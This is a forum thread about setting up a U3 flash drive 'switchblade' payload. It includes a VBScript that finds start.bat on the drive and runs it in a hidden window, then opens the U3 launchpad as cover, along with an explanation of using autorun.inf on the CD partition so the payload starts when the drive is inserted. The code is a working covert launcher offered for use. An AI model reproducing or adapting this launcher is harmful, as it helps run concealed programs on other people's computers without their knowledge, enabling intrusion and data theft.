Jump to content

Some help with u3


Xqtftqx
 Share

Recommended Posts

Easiest way to do it is a quick vbs

Set objFSO = CreateObject("Scripting.FileSystemObject") 
Set objShell = CreateObject("Wscript.Shell")
Set colDrives = objFSO.Drives
On Error Resume Next

'Detect which drive the payload is on
For Each objDrive in colDrives
    'ignore floppy drives - reserved by BIOS if they don't exist
    If UCase(objDrive.DriveLetter) <> "A" And UCase(objDrive.DriveLetter) <> "B" Then
        'Search for Start.bat in the root of each drive
        If objFSO.FileExists(objDrive.DriveLetter & ":start.bat") Then
            'Set strFD to the location of start.bat
            strFD = objDrive.Driveletter & ":start.bat"
        End If
    End if
Next

'Run Payload
objShell.Run strFD, 0, False

'Run Launchpad
objShell.Run ".LaunchU3.exe -a", 0, False

You will probably need to customize this a bit because I dont know the structure of your payload but thats the basic structure of what you will need. Obviously if you dont have the launchpad as part of your switchblade you would remove the line that starts it.

Link to comment
Share on other sites

With a U3 flash drive you just put the autorun.inf on the CD partition of the flash drive. This will autorun the start.bat in the flash partition similar to how a CD automatically starts an installation program. This will then open command prompt which will copy the files to the flash partition of the drive. I'm sorry if that is hard to understand. I'm not very good at explaining things and I myself am very new to this.

That's what someone told me. Is that true? If so, that's your answer.

Link to comment
Share on other sites

With a U3 flash drive you just put the autorun.inf on the CD partition of the flash drive. This will autorun the start.bat in the flash partition similar to how a CD automatically starts an installation program. This will then open command prompt which will copy the files to the flash partition of the drive. I'm sorry if that is hard to understand. I'm not very good at explaining things and I myself am very new to this.

That's what someone told me. Is that true? If so, that's your answer.

In short yes it is possible to do it that way, but you would be over complicating things.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...